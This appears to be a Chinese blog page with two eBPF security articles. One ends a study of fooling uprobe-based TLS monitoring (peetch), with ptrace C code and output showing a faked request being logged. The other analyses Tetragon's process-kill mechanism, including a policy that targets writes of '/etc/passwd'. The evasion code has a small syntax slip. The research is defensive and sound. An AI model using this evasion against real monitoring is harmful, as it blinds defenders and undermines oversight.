一个子进程,在此调用 SSL_write 时使用假文件名并在此调用之前放置一个断点。 一个父进程,使用 PTRACE_SEIZE 附加到子进程,并使用 PTRACE_SINGLESTEP 逐条执行 CHILD 的指令。从断点开始,我们必须逐步执行设置寄存器中的 ptrace 参数和准备跳转到库的指令。在我们的情况下,在断点和 ptrace 的第二条指令之间恰好有 9 条指令。当子进程到达 SSL_write 的第二条指令时,uprobes 已经执行,所以我们现在可以将 SSL_write 的消息缓冲区更改为真实的文件名。我们使用 PTRACE_GETREGS 复制寄存器,修改 rsi 值(rsi 用于第二个参数),然后调用 PTRACE_SETREGS。最后,我们可以使用 PTRACE_CONT 恢复子进程的执行。 请注意,这第二种方法比第一种方法需要更高的特权级别,因为它使用了 ptrace 系统调用。 void SSL_write_race_condition(SSL* ssl, char * realName, char * fakeName){ char format[] = "GET /%s HTTP/1.0\r\n\r\n"; int fakeMsgLen = strlen(format) + strlen(fakeName); char realMsg[fakeMsgLen]; char fakeMsg[fakeMsgLen]; sprintf(fakeMsg, format, fakeName); sprintf(realMsg, format, realName); printf("\nMessage before the uprobe: %s\n", fakeMsg); pid_t pid_fils = fork(); if(pid_fils != 0){ ptrace(PTRACE_SEIZE, pid_fils, NULL, NULL); printf("Attached\n"); wait(NULL); struct user_regs_struct luser; for(int i=0; i<9; i++){//9 instructions between int3 and the first instruction of SSL_write ptrace(PTRACE_SINGLESTEP, pid_fils, NULL, NULL);//step one instruction wait(NULL);//wait for the step to be done } ptrace(PTRACE_GETREGS, pid_fils, NULL, &luser); luser.rsi = (long long unsigned int) realMsg;//change the SSL_write second argument to our real message printf("Set rsi to realMsg...\n"); ptrace(PTRACE_SETREGS, pid_fils, NULL, &luser) == -1); ptrace(PTRACE_CONT, pid_fils, NULL, NULL);//continue the SSL_write printf("Continue execution of SSL_write\n"); exit(1); }else{ ptrace(PTRACE_TRACEME, 0, 0, 0);//wait for the parent to trace this child __asm__("int3");//the breakpoint to stop the child just before SSL_write SSL_write(ssl, fakeMsg, fakeMsgLen); // encrypt and send message } } 我们需要创建一个测试的HTTPS server: from http.server import HTTPServer, BaseHTTPRequestHandler import ssl from io import BytesIO class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/test": self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(b'<html>Hello, world!</html>\r\n\r\n'))) self.end_headers() self.wfile.write(b"<html>Hello, world!</html>\r\n\r\n") elif self.path == "/evil": self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(b'<html>Hello, evil man!</html>\r\n\r\n'))) self.end_headers() self.wfile.write(b'<html>Hello, evil man!</html>\r\n\r\n') return True httpd = HTTPServer(('localhost', 4443), SimpleHTTPRequestHandler) #first create key : openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 #(example key pass = pass) httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="./key.pem", certfile='./cert.pem', server_side=True) httpd.serve_forever() 这个 Python 服务器在我们请求 /evil 端点时返回 “Hello, evil man!”,而在 /test 端点返回 “Hello, world!”。 然后我们启动 peetch 并发起我们的攻击。 让我们看看结果: Message before the uprobe: GET /test HTTP/1.0 Attached rip=0x5613718b8deb Single-step rip=0x5613718b8df1 Single-step rip=0x5613718b8df8 Single-step rip=0x5613718b8dff Single-step rip=0x5613718b8e02 Single-step rip=0x5613718b8e05 Single-step rip=0x5613718b8510 Single-step rip=0x5613718b8514 Single-step rip=0x7f3fe29ba240 Single-step Set rsi to realMsg... Continue execution of SSL_write [+] Server data received : HTTP/1.0 200 OK Server: BaseHTTP/0.6 Python/3.10.4 Date: Wed, 06 Jul 2022 09:25:21 GMT Content-Type: text/html Content-Length: 29 <html>Hello, evil man!</html> 这很有效,文件名在消息发送之前被替换,所以我们收到了“Hello, evil man!”的消息。让我们检查一下 peetch 是否意识到我们的恶意行为: <- client (12918) 127.0.0.1/4443 TLS1.3 None 0000 47 45 54 20 2F 74 65 73 74 20 48 54 54 50 2F 31 GET /test HTTP/1 0010 2E 30 0D 0A 0D 0A 00 00 .0...... -> client (12918) 127.0.0.1/4443 TLS1.3 None 0000 48 54 54 50 2F 31 2E 30 20 32 30 30 20 4F 4B 0D HTTP/1.0 200 OK. 0010 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48 54 54 .Server: BaseHTT 0020 50 2F 30 2E 36 20 50 79 74 68 6F 6E 2F 33 2E 31 P/0.6 Python/3.1 0030 30 2E 34 0D 0A 44 61 74 65 3A 20 57 65 64 2C 20 0.4..Date: Wed, 攻击成功,peetch已经监视了伪造的消息! 我们的攻击现在每次发送消息都会生效,而且可以轻松地适应不同的情况。因此,我们可以使用这种攻击方法来向使用先前方法检测到的任何 uprobes 提供虚假信息。 从另一个角度来看,这种攻击很容易被检测出来。您可以使用 kprobes 跟踪任何 PTRACE_SETREGS 并观察 rip 寄存器是否在包含您的 uprobes 的函数中。然而,攻击也可以使用线程(精度较低)进行,并且更难以检测。但是,如果攻击者可以使用我们先前的技巧轻松禁用任何 uprobes,那么研究此类攻击的意义又在哪里呢? 结论 我们发现一个程序可以通过自身代码和库执行任何操作,以欺骗 uprobes,因此基于 uprobes 的 eBPF 程序不是一种可靠的监视_不受信任_程序的方法,但它们是收集信息的强大工具。如果您想要监视程序以检测恶意行为,那么 kprobes 更适合此目的。它们基本上具有 uprobes 的相同功能,但在内核方面实现。竞争条件仍然可能存在问题,因此最好在 LSM(Linux 安全模块)中定义的安全点上挂接 kprobes。 2023-11-27 0 0
Tetragon进程阻断原理 TL;DR 文章较长,代码很多,可直接拖到文末看讲解视频。 背景 在云原生领域中,Cilium是容器管理上最著名的网络编排、可观察性、网络安全的开源软件。基于革命性技术eBPF实现,并用XDP、TC等功能实现了L3、L4层的防火墙、负载均衡软件,具备优秀的网络安全处理能力,但在运行时安全上,Cilium一直是缺失的。 2022年5月,在欧洲举行的KubeCon技术峰会期间,Cilium的母公司Isovalent发布了云原生运行时防护系统Tetragon,填补这一空缺。 Tetragon的面世,意味着与falco、tracee、KubeArmor、datadog-agent等几款产品正面竞争,eBPF运行时防护领域愈加内卷。 Tetragon介绍 摘自Tetragon官方仓库的产品介绍。 eBPF实时性 Tetragon 是一个运行时安全实时和可观察性工具。它直接在内核中对事件做相应动作,比如执行过滤、阻止,无需再将事件发送到用户空间处理。 对于可观察性用例,直接在内核中应用过滤器会大大减少观察开销。避免昂贵的上下文切换,尤其是对于高频事件,例如发送、读取或写入操作,减少了大量的内存、CPU等资源。 同时,Tetragon提供了丰富的过滤器(文件、套接字、二进制名称、命名空间等),允许用户筛选重要且相关的事件,并传递给用户空间。 eBPF灵活性 Tetragon 可以挂载到Linux Kernel中的任何函数,并过滤其参数、返回值、进程元数据(例如,可执行文件名称)、文件和其他属性。 跟踪策略 通过编写跟踪策略,用户可以解决各种安全性和可观察性用例。Tetragon社区中,提供了一些常见的跟踪策略,可以解决大部分的可观察性和安全用例。 用户也可以创建新的规则策略部署,自定义配置文件,以满足业务需求。 eBPF 内核感知 Tetragon 通过eBPF钩子感知Linux Kernel状态,并将状态与Kubernetes用户策略相结合,以创建由内核实时执行的规则,来增强云原生场景的安全防护功能。例如,当容器内恶意程序更改其权限时,我们可以创建一个策略来触发警报,甚至在进程有机会完成系统调用并可能运行其他系统调用之前终止该进程。 Tetragon阻断实现原理 以上是Tetragon官方的介绍,提到具备阻断能力,并在技术峰会上,展示了相关阻断的截图,有必要了解一下其实现原理。 tetragon的运行原理会在下篇详细介绍,本篇主要讲实时阻断原理。本文分析的代码版本为首次发布的tag v0.8.0 ,commit ID:75e49ab。 业界常见方式 LKM的内核模块、LD_PRELOAD的动态链接库修改、基于LSM的selinux、seccomp技术等都是常见做内核态/用户态运行时阻断的技术方案,而缺点就比较明显,系统稳定性、规则灵活性、变更周期等问题比较突出。 当然,也有使用内核模块方式。方法是把eBPF特性,封装在内核模块里,再安装到老版本的内核上,这样,就可以覆盖更多内核版本了。但backport新特性的做法在社区里很不推荐,维护成本特别高,需要比较大的内核研发团队与深厚的技术功底。。 云原生生态中,CNCF的项目Falco具备内核模块与eBPF探针两套驱动引擎,提供数据收集能力。同类产品Tracee也是,还基于LSM接口,实现了一定的防御阻断能力,同时支持使用者自定义语法配置文件,进行检测、判断、阻断规则的修改快速更新,以达到更好的防御能力。 作为云原生领域的容器管理软件领头羊,Cilium也会落后,但Linux Security Module钩子(以下简称LSM)需要Linux Kernel 5.7以上版本,而业界多数内核版本都不会这么新。Cilium有没有使用LSM类HOOK进行阻断呢?我们一起来看一下。 配置文件 前面提到,Tetragon灵活性更高,可以读取配置文件规则,应用到内核态。以代码仓库的crds/examples/open_kill.yaml为例,语法规则分为如下几部分 kprobe函数名 函数原型参数 进程过滤配置 参数过滤配置 执行动作 其中,matchActions字段为匹配后的执行动作,比如这里的Sigkill - call: "__x64_sys_write" syscall: true args: - index: 0 type: "fd" - index: 1 type: "char_buf" sizeArgIndex: 3 - index: 2 type: "size_t" selectors: - matchPIDs: - operator: NotIn followForks: true isNamespacePID: true values: - 0 - 1 matchArgs: - index: 0 operator: "Prefix" values: - "/etc/passwd" matchActions: - action: Sigkill yaml配置文件的解析在pkg/k8s/apis/cilium.io/v1alpha1/types.go中的TracingPolicySpec结构体中,包含KProbeSpec和TracepointSpec, 对应json:"kprobes"和json:"tracepoints"两个json的结构。 type TracingPolicySpec struct { // +kubebuilder:validation:Optional // A list of kprobe specs. KProbes []KProbeSpec `json:"kprobes"` // +kubebuilder:validation:Optional // A list of tracepoint specs. Tracepoints []TracepointSpec `json:"tracepoints"` } 同时,Tetragon还支持远程下发配置,配置结构与yaml结构是一样的。这里相比传统的内核模块等技术方案,灵活性更高。 用户空间 详细执行流程会在下篇分享,直入主题。 数据结构 在项目中,抽象出一些概念: Tetragon由多个Sensors传感器构成 Sensor由多个Programs和Maps构成 每个Program对应eBPF代码的HOOK函数 每个Map是相应Program的bpf的数据交互map // Program reprents a BPF program. type Program struct { // Name is the name of the BPF object file. Name string // Attach is the attachment point, e.g. the kernel function. Attach string // Label is the program section name to load from program. Label string // PinPath is the pinned path to this program. Note this is a relative path // based on the BPF directory FGS is running under. PinPath string // RetProbe indicates whether a kprobe is a kretprobe. RetProbe bool // ErrorFatal indicates whether a program must load and fatal otherwise. // Most program will set this to true. For example, kernel functions hooks // may change across verions so different names are attempted, hence // avoiding fataling when the first attempt fails. ErrorFatal bool // Needs override bpf program Override bool // Type is the type of BPF program. For example, tc, skb, tracepoint, // etc. Type string LoadState State // TraceFD is needed because tracepoints are added different than kprobes // for example. The FD is to keep a reference to the tracepoint program in // order to delete it. TODO: This can be moved into loaderData for // tracepoints. TraceFD int // LoaderData represents per-type specific fields. LoaderData interface{} // unloader for the program. nil if not loaded. unloader unloader.Unloader } ExecveV53 = program.Builder( "bpf_execve_event_v53.o", "sched/sched_process_exec", "tracepoint/sys_execve", "event_execve", "execve", ) Sensors传感器加载 默认传感器注册 pkg/sensors/tracing包下由两个文件对传感器进行默认注册,分别是generictracepoint.go与generickprobe.go,写入如下两个Sensors到registeredTracingSensors中。 observerKprobeSensor ,kprobe类型HOOK observerTracepointSensor, tracepoint类型HOOK 同时,还会注册自定义eBPF probe加载器到registeredProbeLoad中。 // generickprobe.go#Line=43 func init() { kprobe := &observerKprobeSensor{ name: "kprobe sensor", } sensors.RegisterProbeType("generic_kprobe", kprobe) sensors.RegisterTracingSensorsAtInit(kprobe.name, kprobe) observer.RegisterEventHandlerAtInit(ops.MSG_OP_GENERIC_KPROBE, handleGenericKprobe) } 策略文件解析 GetSensorsFromParserPolicy方法遍历所有Sensors,调用它的SpecHandler方法,解析yaml配置。解析配置后,生成新的传感器对象,作为整个应用启动、注入、监听的所有传感器。 // cmd/tetragon/main.go#line=209 startSensors, err = sensors.GetSensorsFromParserPolicy(&cnf.Spec) // pkg/sensors/sensors.go#line=160 for _, s := range registeredTracingSensors { sensor, err := s.SpecHandler(spec) if err != nil { return nil, err } if sensor == nil { continue } sensors = append(sensors, sensor) } 新增传感器 接上,yaml解析器读取格式后,根据当前传感器的类型(kprobe还是tracepoint),处理yaml配置文件对应的HOOK配置。 kprobe类型 以kprobe类型的hook配置为例,调用 addGenericKprobeSensors 详细处理每一个配置内容。 // pkg/sensors/tracing/generickprobe.go#line=242-516 func addGenericKprobeSensors(kprobes []v1alpha1.KProbeSpec, btfBaseFile string) (*sensors.Sensor, error) { // 遍历所有kprobes的元素 for i := range kprobes { f := &kprobes[i] funcName := f.Call // 1. 验证配置文件中配置依赖,比如Sigkill需要内核大于5.3 // 2. 解析匹配参数(进程名、namespace、路径、五元组等)写入BTF对象 // 3. 解析ReturnArg 返回值参数,写入到BTF对象 // 4. 过滤保留参数,写入BTF对象 // 5. 解析Filters逻辑,写入BTF对象 // 6. 解析Binary名字到内核数据结构体 // 7. 将属性写入BTF指针,以便加载 // 8. 判断action是否为SIGKILL,并写入BTF对象 kernelSelectors, err := selectors.InitKernelSelectors(f) kprobeEntry := genericKprobe{ loadArgs: kprobeLoadArgs{ filters: kernelSelectors, btf: uintptr(btfobj), retprobe: setRetprobe, syscall: is_syscall, }, argSigPrinters: argSigPrinters, argReturnPrinters: argReturnPrinters, userReturnFilters: userReturnFilters, funcName: funcName, pendingEvents: map[uint64]pendingEvent{}, tableId: idtable.UninitializedEntryID, } genericKprobeTable.AddEntry(&kprobeEntry) // 9. 设定这个kprobe所需的ebpf字节码文件信息 loadProgName := "bpf_generic_kprobe_v53.o" // 10. 利用如上信息,填充到prog的结构体中。 // 11. 在prog结构体中,label字段的值都是**kprobe/generic_kprobe** load := program.Builder( path.Join(option.Config.HubbleLib, loadProgName), funcName, "kprobe/generic_kprobe", "kprobe"+"_"+funcName, "generic_kprobe"). SetLoaderData(kprobeEntry.tableId) } // 创建生成新的sensor,并返回 return &sensors.Sensor{ Name: "__generic_kprobe_sensors__", Progs: progs, Maps: []*program.Map{}, }, nil } 解析过程如下: 验证配置文件中配置依赖,比如Sigkill需要内核大于5.3 解析匹配参数(进程名、namespace、路径、五元组等)写入BTF对象 解析ReturnArg 返回值参数,写入到BTF对象 过滤保留参数,写入BTF对象 解析Filters逻辑,写入BTF对象 解析Binary名字到内核数据结构体 将属性写入BTF指针,以便加载 判断action是否为SIGKILL,并写入BTF对象 设定这个kprobe所需的ebpf字节码文件信息 利用如上信息,填充到prog的结构体中。 在prog结构体中,label字段的值都是kprobe/generic_kprobe 解析完成后,返回一个新的sensor,并添加到Sensors传感器数组中。 至此,完成了配置文件的解析。 在这里,阻断指令的配置,是保存在genericKprobe.loadArgs.filters这个byte数组中的。 动态更新 在tetragon项目中,还具备从远程下发新的规则,更新、添加Sensor传感器功能,相应代码在pkg/observer/observer.go中,本篇不做过多展开,会在下篇分享。 // InitSensorManager starts the sensor controller and stt manager. func (k *Observer) InitSensorManager() error { var err error SensorManager, err = sensors.StartSensorManager(k.bpfDir, k.mapDir, k.ciliumDir) return err } eBPF加载与挂载 Sensors启动 传感器启动加载,执行流程为obs.Start(ctx, startSensors) -> config.LoadConfig -> load.Load 。 在Load方法里,对每一个Program元素,调用observerLoadInstance方法进行加载。 // load.Load // Load loads the sensor, by loading all the BPF programs and maps. func (s *Sensor) Load(stopCtx context.Context, bpfDir, mapDir, ciliumDir string) error { for _, p := range s.Progs { // ... // 加载每个prog if err := observerLoadInstance(stopCtx, bpfDir, mapDir, ciliumDir, p); err != nil { return err } // ... } } eBPF Program加载、挂载 在对每个eBPF program进行加载时,会判断HOOK的类型,针对tracepoint特殊判断处理。这里还是以Kprobe为例。代码调用loadInstance函数,逻辑中判断是否存在自定义的加载器: 若有,则调用s.LoadProbe加载; 若没有,则调用loader.LoadKprobeProgram加载; // pkg/sensors/load.go#Line=297 if s, ok := registeredProbeLoad[load.Type]; ok { logger.GetLogger().WithField("Program", load.Name).WithField("Type", load.Type).Infof("Load probe") return s.LoadProbe(LoadProbeArgs{ BPFDir: bpfDir, MapDir: mapDir, CiliumDir: ciliumDir, Load: load, Version: version, Verbose: verbose, }) } return loader.LoadKprobeProgram( version, verbose, btfObj, load.Name, load.Attach, load.Label, filepath.Join(bpfDir, load.PinPath), mapDir, load.RetProbe) 同样,以前面提到的observerKprobeSensor类型传感器,已经注册自己的Probe加载器,那么会走s.LoadProbe()逻辑,之后,调用loadGenericKprobeSensor() -> loadGenericKprobe()进行加载。 这里的load.Name、load.Attach、load.Label的值,来自前面的yaml配置文件读取部分,值分别为bpf_generic_kprobe_v53.o、 __x64_sys_write 、 kprobe/generic_kprobe,也就是说,不管是哪个kprobe函数,都会被挂载到kprobe/generic_kprobe上,都被generic_kprobe_event()这个eBPF 函数处理,起到统一管理的网关作用。 kprobe/generic_kprobe对应的eBPF代码在bpf/process/bpf_generic_kprobe.c文件里,我们在后面内核空间代码详细分析。 __attribute__((section(("kprobe/generic_kprobe")), used)) int generic_kprobe_event(struct pt_regs *ctx) { return generic_kprobe_start_process_filter(ctx); } filters过滤器 loadGenericKprobe()函数最后一个参数filters过滤器参数,类型是[4096]byte func loadGenericKprobe(bpfDir, mapDir string, version int, p *program.Program, btf uintptr, genmapDir string, filters [4096]byte) error { } 其内容为前面yaml格式解析中的第5步, kernelSelectors, err := selectors.InitKernelSelectors(f) 格式构成为 filter := [length][matchPIDs][matchBinaries][matchArgs][matchNamespaces][matchCapabilities][matchNamespaceChanges][matchCapabilityChanges] 这些数据,也是在内核空间eBPF逻辑中,实现参数匹配,动作响应的判断依据。 Cgo函数调用 在调用BPF SYSCALL的实现上,Tetragon没有使用母公司自己的Cilium/ebpf库,而是使用CGo包装了libbpf进行加载。使用的版本还是0.2.0,当前社区最新版为0.7.0,比较老。(下一篇再讲原因) loadGenericKprobe()函数调用bpf.LoadGenericKprobeProgram(),并把filters传递给下一个CGO的函数C.generic_kprobe_loader(),函数定义在pkg/bpf/loader.go的476行。 int generic_kprobe_loader(const int version, const int verbosity, bool override, void *btf, const char *prog, const char *attach, const char *label, const char *__prog, const char *mapdir, const char *genmapdir, void *filters) { struct bpf_object *obj; int err; obj = generic_loader_args(version, verbosity, override, btf, prog, attach, label, __prog, mapdir, filters, BPF_PROG_TYPE_KPROBE); if (!obj) { return -1; } // ... } 之后,再调用CGO的C函数generic_loader_args()进行BPF SYSCALL调用,加载eBPF程序,挂载到对应kprobe函数上。之后,再写入eBPF Maps。 eBPF Maps创建写入 Tetragon使用eBPF Maps进行用户空间与内核空间的配置数据交互,比如yaml配置文件中,各种过滤条件,匹配后的处理动作等。 还是以open_kill.yaml为例,涉及了两类eBPF Map: 特征匹配规则,也就是配置的内容,比如需要保护的文件路径、IP黑名单等,称之为filters规则 路由分发规则,也就是tetragon程序内部,用于eBPF HOOK的函数网关处理各类参数的自用规则,用尾调用Tail Call类型的map实现。 filters规则Map 在generic_loader_args()里,创建了"filter_map" eBPF Map,并将判断规则、阻断规则filter bytes数组写入到这个map里,格式依旧是[4096]byte的字节流。 // ... char *filter_map = "filter_map"; // ... map_fd = bpf_object__find_map_fd_by_name(obj, filter_map); if (map_fd >= 0) { err = bpf_map_update_elem(map_fd, &zero, filter, BPF_ANY); if (err) { printf("WARNING: map update elem %s error %d\n", filter_map, err); } } Tail Call尾调用Map 在eBPF Program加载部分提到,eBPF Kprobe函数kprobe/generic_kprobe(即generic_kprobe_event())作为统一的过滤处理网关,针对不同的kprobe,其参数个数、参数类型一定是不一样的,比如文件读写函数__x64_sys_write有三个参数,分别是 args: - index: 0 type: "fd" - index: 1 type: "char_buf" sizeArgIndex: 3 - index: 2 type: "size_t" 而SOCKET连接函数__x64_connect只有两个参数,分别是 args: - index: 0 type: "sockfd" - index: 1 type: "sockaddr" 并且,他们的参数类型也不一样,作为统一网关,且面对参数个数、参数类型都不一样的问题,Tetragon在eBPF的解决方案是使用BPF_MAP_TYPE_PROG_ARRAY类型的eBPF Map实现,用于尾调用Tail Call处理。, kprobe_calls尾调用Map struct bpf_map_def __attribute__((section("maps"), used)) kprobe_calls = { .type = BPF_MAP_TYPE_PROG_ARRAY, .key_size = sizeof(__u32), .value_size = sizeof(__u32), .max_entries = 11, }; kprobe_calls Map写入 map_bpf = bpf_object__find_map_by_name(obj, "kprobe_calls"); // ... err = bpf_map__pin(map_bpf, map_name); // ... map_fd = bpf_map__fd(map_bpf); for (i = 0; i < 11; i++) { struct bpf_program *prog; char prog_name[20]; char pin_name[200]; int fd; snprintf(prog_name, sizeof(prog_name), "kprobe/%i", i); prog = bpf_object__find_program_by_title(obj, prog_name); if (!prog) goto out; fd = bpf_program__fd(prog); if (fd < 0) { err = errno; goto err; } snprintf(pin_name, sizeof(pin_name), "%s_%i", __prog, i); bpf_program__unpin(prog, pin_name); err = bpf_program__pin(prog, pin_name); if (err) { printf("program pin %s tailcall err %d\n", pin_name, err); goto err; } err = bpf_map_update_elem(map_fd, &i, &fd, BPF_ANY); if (err) { printf("map update elem i %i %s tailcall err %d %d\n", i, prog_name, err, errno); goto err; } } 用户空间程序,读取eBPF二进制文件,读取kprobe开头的的eBPF函数,以ID作为Key,写入到kprobe_calls尾调用表中。 一共11个函数,都在bpf/process/bpf_generic_kprobe.c文件里,分别是: kprobe/0 对应 generic_kprobe_process_event0 kprobe/1 对应 generic_kprobe_process_event1 kprobe/2 对应 generic_kprobe_process_event2 kprobe/3 对应 generic_kprobe_process_event3 kprobe/4 对应 generic_kprobe_process_event4 kprobe/5 对应 generic_kprobe_process_filter kprobe/6 对应 generic_kprobe_filter_arg1 kprobe/7 对应 generic_kprobe_filter_arg2 kprobe/8 对应 generic_kprobe_filter_arg3 kprobe/9 对应 generic_kprobe_filter_arg4 kprobe/10 对应 generic_kprobe_filter_arg5 至此,涉及eBPF阻断功能的用户空间逻辑全部完成。 内核空间 在内核空间,入口函数为用户空间HOOK的kprobe点 "kprobe/generic_kprobe" ,对应 generic_kprobe_event() 函数。这函数内部只有一个 generic_kprobe_start_process_filter()的调用。 统一网关触发 前面提到,tetragon是把open_kill.yaml中的所有kprobe syscall都交给这个eBPF函数处理,所以,当__x64_sys_write这些HOOK点触发后,逻辑都交给generic_kprobe_start_process_filter()处理。 // bpf/process/bpf_generic_kprobe.c#line=48 static inline __attribute__((always_inline)) int generic_kprobe_start_process_filter(void *ctx) { // ... /* Tail call into filters. */ tail_call(ctx, &kprobe_calls, 5); return 0; } 程序内部获取当前进程信息(struct task_struct、namespace、caps等)后,使用Tail Call尾调用转交kprobe_calls Maps的第5个函数处理,即generic_kprobe_process_filter()。 提醒 因eBPF虚拟机寄存器限制,只能获取前5个参数。 进程过滤流程 获取当前进程信息后,进入下一个流程,获取当前kprobe的进程参数。即进入generic_kprobe_process_filter()函数内部 // bpf/process/bpf_generic_kprobe.c#Line=146 // ... ret = generic_process_filter(msg, &filter_map, &process_call_heap); if (ret == PFILTER_CONTINUE) tail_call(ctx, &kprobe_calls, 5); else if (ret == PFILTER_ACCEPT) tail_call(ctx, &kprobe_calls, 0); /* If filter does not accept drop it. Ideally we would * log error codes for later review, TBD. */ return PFILTER_REJECT; 这里对kprobe所在进程信息,以及配置文件中信息匹配,判断是否要走过滤、阻断流程。流程逻辑如下 PFILTER_ACCEPT 逐个进入5类进程event事件判断 generic_process_event0() generic_process_event1() generic_process_event2() generic_process_event3() generic_process_event4() generic_kprobe_filter_arg1() PFILTER_CONTINUE直接进入参数判断 generic_kprobe_filter_arg1() OTHER 其他情况 直接返回PFILTER_REJECTeBPF HOOK流程。 参数判断流程 当前kprobe函数是否需要过滤判断完成后,流程转入真正的判断逻辑中,即tailcals尾调用的第6个函数处理,即generic_kprobe_filter_arg1() __attribute__((section(("kprobe/6")), used)) int generic_kprobe_filter_arg1(void *ctx) { return filter_read_arg(ctx, 0, &process_call_heap, &filter_map, &kprobe_calls, &override_tasks); } 其中,核心处理函数为filter_read_arg(),第四个参数&filter_map就是来自用户空间解析yaml的filters bytes数组。 filter_read_arg()函数判断触发当前kprobe的进程filter配置,若没找到,则调用kprobe/7至kprobe/9的尾调用函数,逐个查找filter配置。 阻断动作执行 当找到filter配置后,则读取配置中相应的action参数类型,开始进行相应动作分类判断,执行相关流程逻辑,这块都是在__do_action()函数中完成的。 actions = (struct selector_action *)&f[actoff]; postit = do_actions(e, actions, override_tasks); action动作的类型有下面几种 ACTION_POST = 0, ACTION_FOLLOWFD = 1, ACTION_SIGKILL = 2, ACTION_UNFOLLOWFD = 3, ACTION_OVERRIDE = 4, 每个action动作类型都有相应的处理逻辑,本文重点是阻断的实现,那么只需要关注ACTION_SIGKILL类型。 static inline __attribute__((always_inline)) long __do_action(long i, struct msg_generic_kprobe *e, struct selector_action *actions, struct bpf_map_def *override_tasks) { int action = actions->act[i]; switch (action) { case ACTION_UNFOLLOWFD: case ACTION_FOLLOWFD: // ... break; case ACTION_SIGKILL: if (bpf_core_enum_value(tetragon_args, sigkill)) send_signal(FGS_SIGKILL); break; case ACTION_OVERRIDE: default: break; } if (!err) { e->action = action; return ++i; } return -1; } 可以看到,针对类型,是调用了send_signal()函数进行下发FGS_SIGKILL指令给当前进程,完整阻断动作。send_signal()函数是ebpf的内置函数,在Kernel 5.3版本里增加。 阻断演示视频 可以到CNCF (Cloud Native Computing Foundation)的油管观看: Real Time Security - eBPF for Preventing attacks - Liz Rice, Isovalent LSM HOOK比较 LSM类HOOK是在Kernel 5.7以后才添加。阻断功能的实现,Tetragon选择send_signal()的方式,有着兼容更多内核版本的优势。并且其kprobe的HOOK点上,可以实现网关式通用处理,通过配置方式,更灵活的变更HOOK点,避免更新eBPF字节码的方式。 更灵活 网关式 内核版本覆盖多 总结 Tetragon是一个实时识别阻断的运行时防护系统。具备网关式统一处理抓手,可以覆盖更多内核版本,通过配置文件方式灵活变更HOOK点。在eBPF技术支持下,还具备热挂载,系统稳定性高,程序可靠性高等特点。是主机运行时防护系统HIDS的最佳学习项目。 笔者水平有限,若有错误,欢迎指出,谢谢。 阻断原理讲解视频 Tetragon阻断争论 2022年5月,云原生安全公司Isovalent的CTO宣布开源了其内部开发了多年的基于eBPF安全监控和阻断的方案:Tetragon。称可以防御容器逃逸的Linux内核漏洞。 安全研究人员Felix Wilhelm的质疑,在Tetragone: A Lesson in Security Fundamentals认为可以轻易绕过,并用CVE-2021-22555漏洞修改版演示。 这篇文章从标题上都充满了各种嘲讽,Tetragon单词加了e,大概是gone的谐音吧。grsecurity是linux 内核安全经验非常深厚的大厂,对这个领域比较精通。但Tetragon的优势并不是内核底层安全能力。 赛博堡垒(HardenedVault)也撰写一篇文章,云原生安全Tetragon案例之安全产品自防护 认为该产品必定失败。 随着云原生的流行,Linux内核安全成为了一个无法绕开的问题,某个容器被攻陷后可以向Linux内核发起攻击,一旦成功则整个主机都会被攻击者控制,如果你不想你的产品耗资上百万美金后攻击者两个小时就攻陷的话,那应该认真的考虑是否应该从一开始就建立正确的威胁模型。另外,eBPF机制更适合实现审计监控类的安全方案而非防护阻断类,VED的eBPF版本也仅仅是为审计而设计,剩下的事情你应该让SIEM和SOC团队去做,在安全流程上我们也应该遵循KISS(Keep it simple, stupid!)原则,不是吗? 我的看法 针对漏洞利用的方法(注:不是漏洞)的防御机制通常会针对三个阶段: Pre-exploitation(前漏洞利用阶段) Exploitation(漏洞利用阶段) Post-exploitation(后漏洞利用阶段) Tetragon的阻断功能是在Exploitation漏洞利用阶段生效的,因为是可以直接阻断,让此次漏洞攻击失败。 其次,认可几位安全人员的关于Tetragon适用场景说法,更适合阻断用户空间的内核逃逸漏洞。 否定的声音来自底层防御的传统厂商,其实他们没明白,Tetragon的优势是可以动态、轻量、无感知的提升防御能力,并不是完全防御所有攻击方式。 业务优先于安全 在云原生领域,业务类型多数是web服务,安全级别不需要那么高,硬件宿主机重启成本较高,性能要求大,业务优先,安全其次。过于严格的安全检测,占用过多资源,影响业务运行速度,性价比低,成本高。这是云原生场景不能接受的。但偶尔的入侵行为是能容忍的。所以业务优先级大于安全是第一守则。 安全优先于业务 传统安全厂商的产品对系统稳定性、可用性、性能都有较大影响,且存在热更新的难题,哪怕解决了,依旧是特别重的方案。在轻量、动态、热更新的需求下,显得特别笨重。 机密数据库等保密程度较高的服务器,数据安全大于业务功能,愿意牺牲性能换取安全性,那么这种场景适合传统安全厂商的产品。这种场景的规则是安全优先级大于业务,更适合传统安全厂商发挥。 争议总结 当今互联网的服务器市场中,云原生业务占比越来越高,这将会是Tetragon、Falco、Tracee、Datadog等运行时安全产品愈加内卷的动力。 对于用户来说,根据自己的业务特性,选择相应的防御检测产品,满足自己业务需求。 参考 https://isovalent.com/blog/post/2022-05-16-tetragon 2022-06-08 +1 5 0
